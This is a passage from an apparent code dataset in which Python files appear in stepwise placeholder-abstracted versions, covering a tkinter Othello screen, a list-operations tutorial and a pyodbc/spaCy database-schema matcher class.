'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n <function token>\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n\n\nclass Postgame(tk.Frame):\n <assignment token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n\n<code token>\n", "<import token>\n<assignment token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<class token>\n<code token>\n" ]
false
9,935
1c134cba779459b57f1f3c195aed37d105b94aef
# wfp, 6/6 # simple list stuff my_list = [1,'a',3.14] print("my_list consists of: ",my_list) print() print("Operations similar to strings") print("Concatenation") print("my_list + ['bill'] equals: ", my_list + ["bill"]) print() print("Repeat") print("my_list * 3 equals: ", my_list * 3) print() print("Indexing") print("1st element is my_list[0]: ",my_list[0]) print("last element is my_list[-1]: ", my_list[-1]) print() print("Slicing") print("First two elements are my_list[0:2]: ",my_list[0:2]) print("Last two elements are my_list[-2:]: ",my_list[-2:]) print("Slice assignment, my_list[:2]=[]: ") my_list[:2] = [] print("my_list is: ",my_list) print() print("Length") print("Length is len(my_list): ",len(my_list)) print() print("New stuff, which modifies the list (not for strings)") print("Append element to the end, my_list.append(True): ") my_list.append(True) print("my_list is: ",my_list) print("Append list into the list, my_list.append([5,6]): ") my_list.append([5,6]) print("my_list is: ",my_list) print() print("Extend, can append all elements in a list") print("Extend single element to the end, my_list.extend('z'): ") my_list.extend('z') print("my_list is: ",my_list) print("Extend a list of elements, my_list.extend([5,6,7]): ") my_list.extend([5,6,7]) print("my_list is: ",my_list) print() print("Delete elements") print("Delete the first element, del my_list[0]: ") del(my_list[0]) print("my_list is: ",my_list) print("Delete last 4 elements, del my_list[-4:]: ") del(my_list[-4:]) print("my_list is: ",my_list)
[ "# wfp, 6/6\r\n# simple list stuff\r\n\r\nmy_list = [1,'a',3.14]\r\nprint(\"my_list consists of: \",my_list)\r\nprint()\r\n\r\nprint(\"Operations similar to strings\")\r\nprint(\"Concatenation\")\r\nprint(\"my_list + ['bill'] equals: \", my_list + [\"bill\"])\r\nprint()\r\nprint(\"Repeat\")\r\nprint(\"my_list * 3 equals: \", my_list * 3)\r\nprint()\r\nprint(\"Indexing\")\r\nprint(\"1st element is my_list[0]: \",my_list[0])\r\nprint(\"last element is my_list[-1]: \", my_list[-1])\r\nprint()\r\nprint(\"Slicing\")\r\nprint(\"First two elements are my_list[0:2]: \",my_list[0:2])\r\nprint(\"Last two elements are my_list[-2:]: \",my_list[-2:])\r\nprint(\"Slice assignment, my_list[:2]=[]: \")\r\nmy_list[:2] = []\r\nprint(\"my_list is: \",my_list)\r\nprint()\r\nprint(\"Length\")\r\nprint(\"Length is len(my_list): \",len(my_list))\r\nprint()\r\nprint(\"New stuff, which modifies the list (not for strings)\")\r\nprint(\"Append element to the end, my_list.append(True): \")\r\nmy_list.append(True)\r\nprint(\"my_list is: \",my_list)\r\nprint(\"Append list into the list, my_list.append([5,6]): \")\r\nmy_list.append([5,6])\r\nprint(\"my_list is: \",my_list)\r\nprint()\r\nprint(\"Extend, can append all elements in a list\")\r\nprint(\"Extend single element to the end, my_list.extend('z'): \")\r\nmy_list.extend('z')\r\nprint(\"my_list is: \",my_list)\r\nprint(\"Extend a list of elements, my_list.extend([5,6,7]): \")\r\nmy_list.extend([5,6,7])\r\nprint(\"my_list is: \",my_list)\r\nprint()\r\nprint(\"Delete elements\")\r\nprint(\"Delete the first element, del my_list[0]: \")\r\ndel(my_list[0])\r\nprint(\"my_list is: \",my_list)\r\nprint(\"Delete last 4 elements, del my_list[-4:]: \")\r\ndel(my_list[-4:])\r\nprint(\"my_list is: \",my_list)\r\n", "my_list = [1, 'a', 3.14]\nprint('my_list consists of: ', my_list)\nprint()\nprint('Operations similar to strings')\nprint('Concatenation')\nprint(\"my_list + ['bill'] equals: \", my_list + ['bill'])\nprint()\nprint('Repeat')\nprint('my_list * 3 equals: ', my_list * 3)\nprint()\nprint('Indexing')\nprint('1st element is my_list[0]: ', my_list[0])\nprint('last element is my_list[-1]: ', my_list[-1])\nprint()\nprint('Slicing')\nprint('First two elements are my_list[0:2]: ', my_list[0:2])\nprint('Last two elements are my_list[-2:]: ', my_list[-2:])\nprint('Slice assignment, my_list[:2]=[]: ')\nmy_list[:2] = []\nprint('my_list is: ', my_list)\nprint()\nprint('Length')\nprint('Length is len(my_list): ', len(my_list))\nprint()\nprint('New stuff, which modifies the list (not for strings)')\nprint('Append element to the end, my_list.append(True): ')\nmy_list.append(True)\nprint('my_list is: ', my_list)\nprint('Append list into the list, my_list.append([5,6]): ')\nmy_list.append([5, 6])\nprint('my_list is: ', my_list)\nprint()\nprint('Extend, can append all elements in a list')\nprint(\"Extend single element to the end, my_list.extend('z'): \")\nmy_list.extend('z')\nprint('my_list is: ', my_list)\nprint('Extend a list of elements, my_list.extend([5,6,7]): ')\nmy_list.extend([5, 6, 7])\nprint('my_list is: ', my_list)\nprint()\nprint('Delete elements')\nprint('Delete the first element, del my_list[0]: ')\ndel my_list[0]\nprint('my_list is: ', my_list)\nprint('Delete last 4 elements, del my_list[-4:]: ')\ndel my_list[-4:]\nprint('my_list is: ', my_list)\n", "<assignment token>\nprint('my_list consists of: ', my_list)\nprint()\nprint('Operations similar to strings')\nprint('Concatenation')\nprint(\"my_list + ['bill'] equals: \", my_list + ['bill'])\nprint()\nprint('Repeat')\nprint('my_list * 3 equals: ', my_list * 3)\nprint()\nprint('Indexing')\nprint('1st element is my_list[0]: ', my_list[0])\nprint('last element is my_list[-1]: ', my_list[-1])\nprint()\nprint('Slicing')\nprint('First two elements are my_list[0:2]: ', my_list[0:2])\nprint('Last two elements are my_list[-2:]: ', my_list[-2:])\nprint('Slice assignment, my_list[:2]=[]: ')\n<assignment token>\nprint('my_list is: ', my_list)\nprint()\nprint('Length')\nprint('Length is len(my_list): ', len(my_list))\nprint()\nprint('New stuff, which modifies the list (not for strings)')\nprint('Append element to the end, my_list.append(True): ')\nmy_list.append(True)\nprint('my_list is: ', my_list)\nprint('Append list into the list, my_list.append([5,6]): ')\nmy_list.append([5, 6])\nprint('my_list is: ', my_list)\nprint()\nprint('Extend, can append all elements in a list')\nprint(\"Extend single element to the end, my_list.extend('z'): \")\nmy_list.extend('z')\nprint('my_list is: ', my_list)\nprint('Extend a list of elements, my_list.extend([5,6,7]): ')\nmy_list.extend([5, 6, 7])\nprint('my_list is: ', my_list)\nprint()\nprint('Delete elements')\nprint('Delete the first element, del my_list[0]: ')\ndel my_list[0]\nprint('my_list is: ', my_list)\nprint('Delete last 4 elements, del my_list[-4:]: ')\ndel my_list[-4:]\nprint('my_list is: ', my_list)\n", "<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,936
76ebab93441676f9f00b2c2d63435e72c2d5d1ba
import pyodbc from configuration.config import Configuration from models.entities import Entities from models.columns import Columns from models.relationships import Relationship from models.synonyms import Synonyms from spacy.lemmatizer import Lemmatizer from spacy.lookups import Lookups class DBModel(object): def __init__(self): self.entities = [] self.columns = [] self.relationships = [] self.synonyms_col = [] self.synonyms_tab = [] self.entity_graph = [] self.loaded_entities = [] self.config = Configuration() self.conn = pyodbc.connect(self.config.get_sql_connection_string()) lookups = Lookups() self.lemmatizer = Lemmatizer(lookups) self.load_db_model() def load_db_model(self): # loading the database from sql server cursor = self.conn.cursor() cursor.execute(self.config.get_tables_sql_query()) for row in cursor: self.entities.append(Entities(row.table_name, self.config.get_default_column(row.table_name))) cursor.execute(self.config.get_columns_sql_query()) current_entity = None current_entity_name = "" for row in cursor: if current_entity_name != row.table_name: current_entity_name = row.table_name current_entity = next(en for en in self.entities if en.name == current_entity_name) col_type = row.type_name if col_type == "varchar" or col_type == "nvarchar": col_type = "string" current_entity.columns.append(Columns(row.column_name, col_type)) current_entity = None current_entity_name = "" cursor.execute(self.config.get_FK_sql_query()) for row in cursor: self.relationships.append(Relationship(row.parent_table, row.refrenced_table, row.parent_table_col, row.referenced_table_col)) if len([en for en in self.entity_graph if en[0] == row.parent_table]) > 0: current_entity = next(en for en in self.entity_graph if en[0] == row.parent_table) current_entity[1].append(row.refrenced_table) else: self.entity_graph.append((row.parent_table, [row.refrenced_table])) if len([en for en in self.entity_graph if en[0] == row.refrenced_table]) > 0: current_entity = next(en for en in self.entity_graph if en[0] == row.refrenced_table) current_entity[1].append(row.parent_table) else: self.entity_graph.append((row.refrenced_table, [row.parent_table])) current_entity = None current_entity_name = "" cursor.execute(self.config.get_PK_sql_query()) for row in cursor: if len([en for en in self.entity_graph if en[0] == row.table_name]) == 1: current_entity = next(en for en in self.entities if en.name == row.table_name) current_entity.primaryKey = row.primary_key for entity_to_load in self.config.get_entitites_to_load(): entity_load_query = "select distinct " + entity_to_load["column"] + " from " + entity_to_load["entity"] cursor.execute(entity_load_query) entity_data = (entity_to_load["entity"], []) for row in cursor: entity_data[1].append(row[0]) # add lemma strings lemmas = self.lemmatizer(str(row[0]), u'NOUN') for lemma in lemmas: entity_data[1].append(str(lemma)) self.loaded_entities.append(entity_data) # load synonyms from declarative file # table sysnonyms for table_synonym in self.config.get_synonyms()["table"]: orginal_val = table_synonym["original"] synonyms_vals = table_synonym["synonyms"] for synonyms_val in synonyms_vals: self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val)) # column sysnonyms for column_synonym in self.config.get_synonyms()["column"]: orginal_val = column_synonym["original"] synonyms_vals = column_synonym["synonyms"] for synonyms_val in synonyms_vals: self.synonyms_col.append(Synonyms(orginal_val, synonyms_val)) # make a single array self.columns = [column for entity in self.entities for column in entity.columns] # might have to write a custom matcher TODO # build the matcher based upon the original value and domain synonyms defined def get_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + "_TABLE", None, nlp(entity.name.lower())) for column in entity.columns: matcher.add(column.name.upper() + "_COLUMN", None, nlp(column.name.lower())) # add table synonyms to matcher for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + "_TABLE", None, nlp(synonym.synonym.lower())) # add column synonyms to matcher for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + "_COLUMN", None, nlp(synonym.synonym.lower())) return matcher def get_custom_matcher(self, matcher, nlp): for entity in self.entities: matcher.add(entity.name.upper() + "_TABLE", nlp(entity.name.lower())) for column in entity.columns: matcher.add(column.name.upper() + "_COLUMN", nlp(column.name.lower())) # add table synonyms to matcher for synonym in self.synonyms_tab: for entity in self.entities: if synonym.column.lower() == entity.name.lower(): matcher.add(entity.name.upper() + "_TABLE", nlp(synonym.synonym.lower())) # add column synonyms to matcher for synonym in self.synonyms_col: for column in self.columns: if synonym.column.lower() == column.name.lower(): matcher.add(column.name.upper() + "_COLUMN", nlp(synonym.synonym.lower())) return matcher
[ "import pyodbc\n\nfrom configuration.config import Configuration\nfrom models.entities import Entities\nfrom models.columns import Columns\nfrom models.relationships import Relationship\nfrom models.synonyms import Synonyms\n\nfrom spacy.lemmatizer import Lemmatizer\nfrom spacy.lookups import Lookups\n\n\nclass DBModel(object):\n def __init__(self):\n self.entities = []\n self.columns = []\n self.relationships = []\n self.synonyms_col = []\n self.synonyms_tab = []\n self.entity_graph = []\n self.loaded_entities = []\n self.config = Configuration()\n self.conn = pyodbc.connect(self.config.get_sql_connection_string())\n lookups = Lookups()\n self.lemmatizer = Lemmatizer(lookups)\n self.load_db_model()\n\n def load_db_model(self):\n # loading the database from sql server\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.get_default_column(row.table_name)))\n\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = \"\"\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name == current_entity_name)\n\n col_type = row.type_name\n if col_type == \"varchar\" or col_type == \"nvarchar\":\n col_type = \"string\"\n current_entity.columns.append(Columns(row.column_name, col_type))\n\n current_entity = None\n current_entity_name = \"\"\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.refrenced_table, row.parent_table_col, row.referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.refrenced_table]))\n \n if len([en for en in self.entity_graph if en[0] == row.refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.parent_table]))\n\n current_entity = None\n current_entity_name = \"\"\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]) == 1:\n current_entity = next(en for en in self.entities if en.name == row.table_name)\n current_entity.primaryKey = row.primary_key\n\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = \"select distinct \" + entity_to_load[\"column\"] + \" from \" + entity_to_load[\"entity\"]\n cursor.execute(entity_load_query)\n entity_data = (entity_to_load[\"entity\"], [])\n for row in cursor:\n entity_data[1].append(row[0])\n # add lemma strings\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n \n # load synonyms from declarative file\n # table sysnonyms\n for table_synonym in self.config.get_synonyms()[\"table\"]:\n orginal_val = table_synonym[\"original\"]\n synonyms_vals = table_synonym[\"synonyms\"]\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n\n # column sysnonyms\n for column_synonym in self.config.get_synonyms()[\"column\"]:\n orginal_val = column_synonym[\"original\"]\n synonyms_vals = column_synonym[\"synonyms\"]\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n\n\n # make a single array\n self.columns = [column for entity in self.entities for column in entity.columns]\n \n\n # might have to write a custom matcher TODO\n # build the matcher based upon the original value and domain synonyms defined\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + \"_TABLE\", None, nlp(entity.name.lower())) \n for column in entity.columns:\n matcher.add(column.name.upper() + \"_COLUMN\", None, nlp(column.name.lower()))\n\n # add table synonyms to matcher\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + \"_TABLE\", None, nlp(synonym.synonym.lower())) \n\n # add column synonyms to matcher\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + \"_COLUMN\", None, nlp(synonym.synonym.lower())) \n \n\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + \"_TABLE\", nlp(entity.name.lower())) \n for column in entity.columns:\n matcher.add(column.name.upper() + \"_COLUMN\", nlp(column.name.lower()))\n\n # add table synonyms to matcher\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + \"_TABLE\", nlp(synonym.synonym.lower())) \n\n # add column synonyms to matcher\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + \"_COLUMN\", nlp(synonym.synonym.lower())) \n \n\n return matcher\n", "import pyodbc\nfrom configuration.config import Configuration\nfrom models.entities import Entities\nfrom models.columns import Columns\nfrom models.relationships import Relationship\nfrom models.synonyms import Synonyms\nfrom spacy.lemmatizer import Lemmatizer\nfrom spacy.lookups import Lookups\n\n\nclass DBModel(object):\n\n def __init__(self):\n self.entities = []\n self.columns = []\n self.relationships = []\n self.synonyms_col = []\n self.synonyms_tab = []\n self.entity_graph = []\n self.loaded_entities = []\n self.config = Configuration()\n self.conn = pyodbc.connect(self.config.get_sql_connection_string())\n lookups = Lookups()\n self.lemmatizer = Lemmatizer(lookups)\n self.load_db_model()\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.\n lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', nlp(column.\n name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', nlp(synonym\n .synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', nlp(\n synonym.synonym.lower()))\n return matcher\n", "<import token>\n\n\nclass DBModel(object):\n\n def __init__(self):\n self.entities = []\n self.columns = []\n self.relationships = []\n self.synonyms_col = []\n self.synonyms_tab = []\n self.entity_graph = []\n self.loaded_entities = []\n self.config = Configuration()\n self.conn = pyodbc.connect(self.config.get_sql_connection_string())\n lookups = Lookups()\n self.lemmatizer = Lemmatizer(lookups)\n self.load_db_model()\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.\n lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', nlp(column.\n name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', nlp(synonym\n .synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', nlp(\n synonym.synonym.lower()))\n return matcher\n", "<import token>\n\n\nclass DBModel(object):\n <function token>\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n cursor.execute(self.config.get_columns_sql_query())\n current_entity = None\n current_entity_name = ''\n for row in cursor:\n if current_entity_name != row.table_name:\n current_entity_name = row.table_name\n current_entity = next(en for en in self.entities if en.name ==\n current_entity_name)\n col_type = row.type_name\n if col_type == 'varchar' or col_type == 'nvarchar':\n col_type = 'string'\n current_entity.columns.append(Columns(row.column_name, col_type))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_FK_sql_query())\n for row in cursor:\n self.relationships.append(Relationship(row.parent_table, row.\n refrenced_table, row.parent_table_col, row.\n referenced_table_col))\n if len([en for en in self.entity_graph if en[0] == row.\n parent_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.parent_table)\n current_entity[1].append(row.refrenced_table)\n else:\n self.entity_graph.append((row.parent_table, [row.\n refrenced_table]))\n if len([en for en in self.entity_graph if en[0] == row.\n refrenced_table]) > 0:\n current_entity = next(en for en in self.entity_graph if en[\n 0] == row.refrenced_table)\n current_entity[1].append(row.parent_table)\n else:\n self.entity_graph.append((row.refrenced_table, [row.\n parent_table]))\n current_entity = None\n current_entity_name = ''\n cursor.execute(self.config.get_PK_sql_query())\n for row in cursor:\n if len([en for en in self.entity_graph if en[0] == row.table_name]\n ) == 1:\n current_entity = next(en for en in self.entities if en.name ==\n row.table_name)\n current_entity.primaryKey = row.primary_key\n for entity_to_load in self.config.get_entitites_to_load():\n entity_load_query = 'select distinct ' + entity_to_load['column'\n ] + ' from ' + entity_to_load['entity']\n cursor.execute(entity_load_query)\n entity_data = entity_to_load['entity'], []\n for row in cursor:\n entity_data[1].append(row[0])\n lemmas = self.lemmatizer(str(row[0]), u'NOUN')\n for lemma in lemmas:\n entity_data[1].append(str(lemma))\n self.loaded_entities.append(entity_data)\n for table_synonym in self.config.get_synonyms()['table']:\n orginal_val = table_synonym['original']\n synonyms_vals = table_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_tab.append(Synonyms(orginal_val, synonyms_val))\n for column_synonym in self.config.get_synonyms()['column']:\n orginal_val = column_synonym['original']\n synonyms_vals = column_synonym['synonyms']\n for synonyms_val in synonyms_vals:\n self.synonyms_col.append(Synonyms(orginal_val, synonyms_val))\n self.columns = [column for entity in self.entities for column in\n entity.columns]\n\n def get_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(entity.\n name.lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n column.name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', None, nlp(\n synonym.synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', None, nlp(\n synonym.synonym.lower()))\n return matcher\n\n def get_custom_matcher(self, matcher, nlp):\n for entity in self.entities:\n matcher.add(entity.name.upper() + '_TABLE', nlp(entity.name.\n lower()))\n for column in entity.columns:\n matcher.add(column.name.upper() + '_COLUMN', nlp(column.\n name.lower()))\n for synonym in self.synonyms_tab:\n for entity in self.entities:\n if synonym.column.lower() == entity.name.lower():\n matcher.add(entity.name.upper() + '_TABLE', nlp(synonym\n .synonym.lower()))\n for synonym in self.synonyms_col:\n for column in self.columns:\n if synonym.column.lower() == column.name.lower():\n matcher.add(column.name.upper() + '_COLUMN', nlp(\n synonym.synonym.lower()))\n return matcher\n", "<import token>\n\n\nclass DBModel(object):\n <function token>\n\n def load_db_model(self):\n cursor = self.conn.cursor()\n cursor.execute(self.config.get_tables_sql_query())\n for row in cursor:\n self.entities.append(Entities(row.table_name, self.config.\n get_default_column(row.table_name)))\n 